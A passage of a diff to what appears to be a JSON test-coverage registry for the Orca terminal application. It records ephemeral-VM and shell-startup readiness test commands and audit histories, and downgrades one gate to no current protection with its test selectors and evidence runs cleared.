\"tests/e2e/ephemeral-vm-cleanup-retry.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"assertions\": [\n \"the exact rollback reader accepts both projected records\",\n \"the rollback lifecycle service destroys the provisioned resource using schema-v1 provider data\",\n \"re-upgrade restores provisioned-root metadata without reverting lifecycle state\"\n ]\n },\n {\n \"file\": \"src/main/ephemeral-vm/runtime-service.test.ts\",\n \"assertions\": [\n \"failed destroy persists a durable rollback-readable cleanup recovery record\"\n ]\n },\n {\n \"file\": \"src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts\",\n \"assertions\": [\n \"unrecoverable recipe context releases the hidden SSH registration but preserves failed lifecycle state\"\n ]\n },\n {\n \"file\": \"src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts\",\n \"assertions\": [\n \"selected source ref commit is captured before provider create\",\n \"the create recipe receives both the symbolic ref and its pinned commit\",\n \"multi-remote bases pair the selected remote URL with a fetchable branch ref\",\n \"an unresolved source ref rejects before provider create\"\n ]\n },\n {\n \"file\": \"src/main/ipc/ephemeral-vm-provision-cancel.test.ts\",\n \"assertions\": [\"cancellation during source-ref resolution aborts before provider create\"]\n },\n {\n \"file\": \"tests/e2e/ephemeral-vm-cleanup-retry.spec.ts\",\n \"assertions\": [\n \"the rendered runtime row stops a live cleanup process without an automatic deadline and a retry succeeds\"\n ]\n }\n ]" + "IPC/PTY folder cleanup at predecessor d23e47411ae7cfcd2ce51187d3ae07ff0a95e586 retires whole TEST Programs from current selectors: src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts, src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts. Their complete authored alarms are intentionally lost. No equivalent replacement, fresh execution, new runtime/performance result, cross-platform, remote, mobile or folder-workspace proof is claimed. Unrelated retained dated receipts remain scoped only to exact unchanged commands. Complete original current selector/assertion fields verbatim:\ncommands: [\n \"node config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts src/main/ephemeral-vm/runtime-service.test.ts src/main/ephemeral-vm/recipe-runner.test.ts src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts src/main/ipc/ephemeral-vm-provision-cancel.test.ts src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts src/main/ipc/ephemeral-vm.test.ts src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts\",\n \"pnpm exec playwright test tests/e2e/ephemeral-vm-cleanup-retry.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs\",\n \"src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts\",\n \"src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts\",\n \"src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts\",\n \"src/main/ephemeral-vm/runtime-service.test.ts\",\n \"src/main/ephemeral-vm/recipe-runner.test.ts\",\n \"src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts\",\n \"src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts\",\n \"src/main/ipc/ephemeral-vm-provision-cancel.test.ts\",\n \"src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts\",\n \"src/main/ipc/ephemeral-vm.test.ts\",\n \"src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts\",\n \"tests/e2e/ephemeral-vm-cleanup-retry.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"assertions\": [\n \"the exact rollback reader accepts both projected records\",\n \"the rollback lifecycle service destroys the provisioned resource using schema-v1 provider data\",\n \"re-upgrade restores provisioned-root metadata without reverting lifecycle state\"\n ]\n },\n {\n \"file\": \"src/main/ephemeral-vm/runtime-service.test.ts\",\n \"assertions\": [\n \"failed destroy persists a durable rollback-readable cleanup recovery record\"\n ]\n },\n {\n \"file\": \"src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts\",\n \"assertions\": [\n \"unrecoverable recipe context releases the hidden SSH registration but preserves failed lifecycle state\"\n ]\n },\n {\n \"file\": \"src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts\",\n \"assertions\": [\n \"selected source ref commit is captured before provider create\",\n \"the create recipe receives both the symbolic ref and its pinned commit\",\n \"multi-remote bases pair the selected remote URL with a fetchable branch ref\",\n \"an unresolved source ref rejects before provider create\"\n ]\n },\n {\n \"file\": \"src/main/ipc/ephemeral-vm-provision-cancel.test.ts\",\n \"assertions\": [\"cancellation during source-ref resolution aborts before provider create\"]\n },\n {\n \"file\": \"tests/e2e/ephemeral-vm-cleanup-retry.spec.ts\",\n \"assertions\": [\n \"the rendered runtime row stops a live cleanup process without an automatic deadline and a retry succeeds\"\n ]\n }\n ]", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"node config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts src/main/ephemeral-vm/runtime-service.test.ts src/main/ephemeral-vm/recipe-runner.test.ts src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts src/main/ipc/ephemeral-vm/ephemeral-vm.test.ts src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts\",\n \"pnpm exec playwright test tests/e2e/ephemeral-vm-cleanup-retry.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs\",\n \"src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts\",\n \"src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts\",\n \"src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts\",\n \"src/main/ephemeral-vm/runtime-service.test.ts\",\n \"src/main/ephemeral-vm/recipe-runner.test.ts\",\n \"src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts\",\n \"src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts\",\n \"src/main/ipc/ephemeral-vm/ephemeral-vm.test.ts\",\n \"src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts\",\n \"tests/e2e/ephemeral-vm-cleanup-retry.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"assertions\": [\n \"the exact rollback reader accepts both projected records\",\n \"the rollback lifecycle service destroys the provisioned resource using schema-v1 provider data\",\n \"re-upgrade restores provisioned-root metadata without reverting lifecycle state\"\n ]\n },\n {\n \"file\": \"src/main/ephemeral-vm/runtime-service.test.ts\",\n \"assertions\": [\n \"failed destroy persists a durable rollback-readable cleanup recovery record\"\n ]\n },\n {\n \"file\": \"src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts\",\n \"assertions\": [\"cancellation during source-ref resolution aborts before provider create\"]\n },\n {\n \"file\": \"tests/e2e/ephemeral-vm-cleanup-retry.spec.ts\",\n \"assertions\": [\n \"the rendered runtime row stops a live cleanup process without an automatic deadline and a retry succeeds\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"node config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts src/main/ephemeral-vm/runtime-service.test.ts src/main/ephemeral-vm/recipe-runner.test.ts src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts src/main/ipc/ephemeral-vm/ephemeral-vm.test.ts src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts\",\"pnpm exec playwright test tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"],\"testFiles\":[\"config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\"config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs\",\"src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts\",\"src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts\",\"src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts\",\"src/main/ephemeral-vm/runtime-service.test.ts\",\"src/main/ephemeral-vm/recipe-runner.test.ts\",\"src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts\",\"src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts\",\"src/main/ipc/ephemeral-vm/ephemeral-vm.test.ts\",\"src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts\",\"tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts\"],\"assertionRefs\":[{\"file\":\"config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\"assertions\":[\"the exact rollback reader accepts both projected records\",\"the rollback lifecycle service destroys the provisioned resource using schema-v1 provider data\",\"re-upgrade restores provisioned-root metadata without reverting lifecycle state\"]},{\"file\":\"src/main/ephemeral-vm/runtime-service.test.ts\",\"assertions\":[\"failed destroy persists a durable rollback-readable cleanup recovery record\"]},{\"file\":\"src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts\",\"assertions\":[\"cancellation during source-ref resolution aborts before provider create\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"orca-server\",\"direct-ssh\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2056 retires the exact deleted-source assertion alarms recorded in knownGaps; prior changed-source red/green claims are historical. Unrelated retained-source evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The same pinned oracle passes the pre-#14352 ordinary store, fails the affected-main mixed store with file-is-invalid, passes the candidate mixed store plus old-service destroy and re-upgrade, and fails again when the candidate compatibility files are reverted to affected main.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic contract runs are stable. Two local Electron attempts reached successful adoption and terminal use, then hit the existing final context-menu detach; the immediate build-reuse rerun completed removal and destroy. CI soak history has not started.\"},\"runtimeBudget\":{\"p95Seconds\":180,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Ordinary writes remain byte-identical and create no feature sidecar. Reads add one bounded feature-file existence check; sorted feature comparisons avoid unchanged rewrites, and durable companion writes occur only when compatibility metadata changes. Cleanup adds one constant-size in-flight controller per active destroy and no automatic deadline; the visible settings section polls once per second only while cleanup is active. Provisioning adds one source-host Git ref-resolution command only when a ref was requested and runs it before provider create; adoption adds no remote subprocess beyond its existing checkout probes, and resume adds only in-memory comparisons.\"}}" ], "demotionRule": "Demote if a new write fails the pinned rollback reader, a downgrade lifecycle mutation is lost after re-upgrade, malformed/future metadata overwrites recoverable bytes, ordinary v1 bytes change, user stop cannot settle a destroy process tree, cleanup loses retry ownership, an unrecoverable context leaves a permanent hidden SSH registration, or the focused gate flakes without an identified harness defect." }, @@ -2461,7 +2388,7 @@ "id": "terminal-session.shell-ready-exec-prompt-fallback", "title": "Startup exec falls back to the identified shell's line editor", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-session-readiness", "layer": "posix-pty-and-shell-startup", "surfaces": [ @@ -2471,9 +2398,9 @@ ], "platforms": ["macos", "linux"], "providers": ["local", "local-daemon", "ssh-daemon", "ssh-relay", "paired-runtime"], - "coveredPlatforms": ["macos", "linux"], - "coveredProviders": ["local", "local-daemon", "ssh-relay", "paired-runtime"], - "coverageNotes": "Audit6695 retires the whole startup-exec repro suite and accepts its native timeout/read smoke losses without equivalent replacement. No fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 retires the entire src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Audit5743 removes whole identity-scanner/browser retirement/RPC dispatch test suites from active selectors, accepting incremental OSC identity framing, in-memory page retirement generation fencing and spied-runtime SQL dispatch authority/rollback alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5714 retires the whole shell-startup-output-scanner suite, accepting selected two-chunk byte preservation, identity ordering, held-prefix drain and post-marker flag alarms without equivalent replacement or fresh execution. Active selectors/assertion references are reduced; historical native/live receipts remain unchanged. Audit5535 removes the whole line-editor-ready-output-scanner.test.ts literal sequence table. Split-sequence detection alarms are intentionally lost without equivalent replacement. Its prospective selectors are removed; prior red/green and live receipts remain historical and do not validate this reduced selector. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Real macOS node-pty integration covers zsh 5.9 .zshenv/.zprofile and bash 3.2 profile replacement shells, including exec -a names, same-shell and child-process silent reads, a blocking zle-line-init hook, non-shell readline replacements, and a non-shell image renamed zsh. A real Fish PTY proves marker stripping is byte-exact and does not render bracketed-paste control text. Ubuntu 20.04/Bash 5.0 and Ubuntu 24.04/Bash 5.2 containers cover scalar and array PROMPT_COMMAND composition, including real zoxide on 24.04. Deterministic owner contracts cover local, daemon, and SSH relay identity/readiness composition plus provider-owned delivery; explicit terminal-paste remains renderer-owned. Live isolated journeys cover a macOS headed desktop owner with paired web client, headless orca serve with paired web client, and a Docker Linux OpenSSH/Bash target with one readiness-time reconnect. Linux desktop, WSL/Windows, live zsh-over-SSH, and physical remote hosts remain gaps.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit6695 retires the whole startup-exec repro suite and accepts its native timeout/read smoke losses without equivalent replacement. No fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 retires the entire src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Audit5743 removes whole identity-scanner/browser retirement/RPC dispatch test suites from active selectors, accepting incremental OSC identity framing, in-memory page retirement generation fencing and spied-runtime SQL dispatch authority/rollback alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit5714 retires the whole shell-startup-output-scanner suite, accepting selected two-chunk byte preservation, identity ordering, held-prefix drain and post-marker flag alarms without equivalent replacement or fresh execution. Active selectors/assertion references are reduced; historical native/live receipts remain unchanged. Audit5535 removes the whole line-editor-ready-output-scanner.test.ts literal sequence table. Split-sequence detection alarms are intentionally lost without equivalent replacement. Its prospective selectors are removed; prior red/green and live receipts remain historical and do not validate this reduced selector. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Real macOS node-pty integration covers zsh 5.9 .zshenv/.zprofile and bash 3.2 profile replacement shells, including exec -a names, same-shell and child-process silent reads, a blocking zle-line-init hook, non-shell readline replacements, and a non-shell image renamed zsh. A real Fish PTY proves marker stripping is byte-exact and does not render bracketed-paste control text. Ubuntu 20.04/Bash 5.0 and Ubuntu 24.04/Bash 5.2 containers cover scalar and array PROMPT_COMMAND composition, including real zoxide on 24.04. Deterministic owner contracts cover local, daemon, and SSH relay identity/readiness composition plus provider-owned delivery; explicit terminal-paste remains renderer-owned. Live isolated journeys cover a macOS headed desktop owner with paired web client, headless orca serve with paired web client, and a Docker Linux OpenSSH/Bash target with one readiness-time reconnect. Linux desktop, WSL/Windows, live zsh-over-SSH, and physical remote hosts remain gaps.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/13767", "https://linear.app/stably/issue/STA-4067", @@ -2484,57 +2411,26 @@ "https://github.com/stablyai/orca/pull/14451" ], "invariant": "Shell startup scanning preserves every non-Orca output byte in order across arbitrary PTY chunk boundaries. Bash scalar and supported array PROMPT_COMMAND values preserve user bytes, hook order, and foreground exit status while emitting exactly one OSC 133 A/C/D lifecycle without syntax errors. Before user startup files run, the wrapper publishes its shell PID. If a later exec discards the ready marker, proof-based recovery releases queued startup input only after the launched shell's actual executable image with that exact PID owns the PTY foreground, emits its post-hook line-editor enable sequence, and exposes zle/readline termios; startup reads, line-init hooks, child foreground processes, and non-shell readline replacements cannot trigger that proof. The existing bounded compatibility timeout may enqueue input without proof, but must not publish readiness, lose or duplicate that input across reconnect, or execute it before the replacement shell can accept it.", - "oracle": "Audit5896 retires the entire src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Split Fish output immediately after the ready marker and after the following ESC introducer; local and daemon owners must emit the exact ESC [ ? 2004 h bytes and headless xterm must not render literal control text. Run the real generated wrappers under node-pty with disposable zsh, bash, and Fish startup files. Exercise Bash scalar and array PROMPT_COMMAND values with empty, repeated, escaped, whitespace, control-byte, odd-backslash, status-mutating, DEBUG-trap, zoxide, and RHEL-style hooks; require exact A,C,D:0,A,C,D:1,A,C ordering and byte preservation. Plain and exec -a replacement shells must receive one queued command at their first completed line editor without waiting for the 15-second timeout. The identical oracle must time out without the startup identity and prompt fallback. Same-shell reads, child-process reads, a blocking zle-line-init hook, sqlite3, and sqlite3 renamed zsh must not trigger prompt fallback. Relay owner coverage must use the same lossless scanner composition and release through the same prompt contract.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=1 src/main/daemon/shell-readiness/testing/shell-ready.test.ts", - "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful --workers=1" - ], - "testFiles": [ - "src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts", - "src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts", - "src/shared/terminal/pty/native-process/shell-process-readiness.test.ts", - "src/main/daemon/shell-readiness/testing/shell-ready.test.ts", - "src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts", - "src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts", - "tests/e2e/paired-startup-exec-readiness.spec.ts" - ], - "assertionRefs": [ - { - "file": "tests/e2e/paired-startup-exec-readiness.spec.ts", - "assertions": [ - "a headed desktop owner and paired client recover startup exec on one stable owning PTY", - "an isolated headless orca serve owner provides the same exact-once output and input contract" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-12", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 14, - "summary": "The shared oracle passed a headed desktop owner plus paired web client and an isolated headless orca serve owner plus paired web client." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5896 retires the entire src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts suite. Its remaining alarms are intentionally lost; retained commands are not equivalent replacement coverage. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Split Fish output immediately after the ready marker and after the following ESC introducer; local and daemon owners must emit the exact ESC [ ? 2004 h bytes and headless xterm must not render literal control text. Run the real generated wrappers under node-pty with disposable zsh, bash, and Fish startup files. Exercise Bash scalar and array PROMPT_COMMAND values with empty, repeated, escaped, whitespace, control-byte, odd-backslash, status-mutating, DEBUG-trap, zoxide, and RHEL-style hooks; require exact A,C,D:0,A,C,D:1,A,C ordering and byte preservation. Plain and exec -a replacement shells must receive one queued command at their first completed line editor without waiting for the 15-second timeout. The identical oracle must time out without the startup identity and prompt fallback. Same-shell reads, child-process reads, a blocking zle-line-init hook, sqlite3, and sqlite3 renamed zsh must not trigger prompt fallback. Relay owner coverage must use the same lossless scanner composition and release through the same prompt contract.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 120, - "scope": "focused local wrapper contracts plus isolated SSH and paired live journeys" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. focused local wrapper contracts plus isolated SSH and paired live journeys" }, "flakeHistory": { - "status": "unknown", - "evidence": "Fresh deterministic and isolated live runs pass locally; CI and soak history have not started." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Fresh deterministic and isolated live runs pass locally; CI and soak history have not started." }, "redGreenEvidence": { - "status": "complete", - "evidence": "Daemon oracle SHA-256 b13b08006a38b2adc2acb51ae9342909514e55ab4822fac4fbb76cd49b344cc6 was byte-identical across runs: affected baseline 09ec516ae5 failed 4 of 14, while pre-PR main bc2e30000b and this PR passed 14 of 14. The unchanged live SSH oracle failed on bc2e30000b and with the ownership change reverted because the ledger stayed pending after reconnect, then passed on this PR. Fish chunk oracle patch SHA-256 fd49a4d3d91bd5f0d10c1b1f44f4cfbd92cef9155a5505b415c8680184cdc765 was also byte-identical: scan target e4c278eb52, main 150cc6f50c, and candidate ae7f30318a with shared scanner integration disabled failed only the ESC-introducer split in local and daemon owners, while ae7f30318a passed all 163 cases plus headless-xterm rendering." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Daemon oracle SHA-256 b13b08006a38b2adc2acb51ae9342909514e55ab4822fac4fbb76cd49b344cc6 was byte-identical across runs: affected baseline 09ec516ae5 failed 4 of 14, while pre-PR main bc2e30000b and this PR passed 14 of 14. The unchanged live SSH oracle failed on bc2e30000b and with the ownership change reverted because the ledger stayed pending after reconnect, then passed on this PR. Fish chunk oracle patch SHA-256 fd49a4d3d91bd5f0d10c1b1f44f4cfbd92cef9155a5505b415c8680184cdc765 was also byte-identical: scan target e4c278eb52, main 150cc6f50c, and candidate ae7f30318a with shared scanner integration disabled failed only the ESC-introducer split in local and daemon owners, while ae7f30318a passed all 163 cases plus headless-xterm rendering." }, "performanceBudget": { "required": true, - "evidence": "Two bounded linear scans partition identity ownership at the exact ready-marker boundary and retain only the existing bounded prefixes. The normal ready-marker path cancels before external probing. A missing marker triggers a debounced stty read only after a line-editor enable sequence, followed by narrow PID status and executable-image inspection only when termios matches. Slow ordinary startup output triggers zero probes; rejected protocol emissions are capped at four probes per startup. There is no per-command hook or steady-state polling." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Two bounded linear scans partition identity ownership at the exact ready-marker boundary and retain only the existing bounded prefixes. The normal ready-marker path cancels before external probing. A missing marker triggers a debounced stty read only after a line-editor enable sequence, followed by narrow PID status and executable-image inspection only when termios matches. Slow ordinary startup output triggers zero probes; rejected protocol emissions are capped at four probes per startup. There is no per-command hook or steady-state polling." }, "promotionCriteria": [ "Collect CI and soak history for the Docker SSH and paired live journeys.", @@ -2555,7 +2451,11 @@ "Audit1878 removes the ptsName getter/shape table and mocked platform stty-argv table from pty-slave-line-discipline-echo.test.ts, and the unset-PATH sh-versus-/bin/sh helper comparison from shell-process-readiness.test.ts. Retained parser/probe promise state and real-filesystem/process tests have their original platform and injected-process limits; no equivalent replacement or fresh broad readiness-gate result is claimed.", "Audit5743 exact original active selector fields before whole suite removal (historical, not current coverage): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts src/main/daemon/shell-readiness/testing/bash-prompt-command-composition.test.ts src/main/pty/shell-startup/shell-startup-identity-scanner.test.ts src/main/pty/shell-startup/shell-startup-output-scanner.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/shell-readiness/testing/repro-13767-shell-ready-marker-lost-to-exec.test.ts src/main/pty/shell-startup/shell-startup-identity-scanner.test.ts src/main/pty/shell-startup/shell-startup-output-scanner.test.ts src/shared/terminal/pty/native-process/pty-slave-line-discipline-echo.test.ts src/shared/terminal/pty/native-process/shell-process-readiness.test.ts src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/providers/local-pty/local-pty-shell-ready-marker-scan.test.ts src/main/providers/local-pty/local-pty-shell-ready-startup-command.test.ts src/main/providers/local-pty/local-pty-shell-ready-wrapper-generation.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts --maxWorkers=1 src/main/daemon/shell-readiness/testing/shell-ready.test.ts src/main/pty/shell-startup/shell-startup-output-scanner.test.ts\",\"ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-startup-exec-readiness.spec.ts --config tests/playwright.config.ts --project electron-headless --project electron-headful 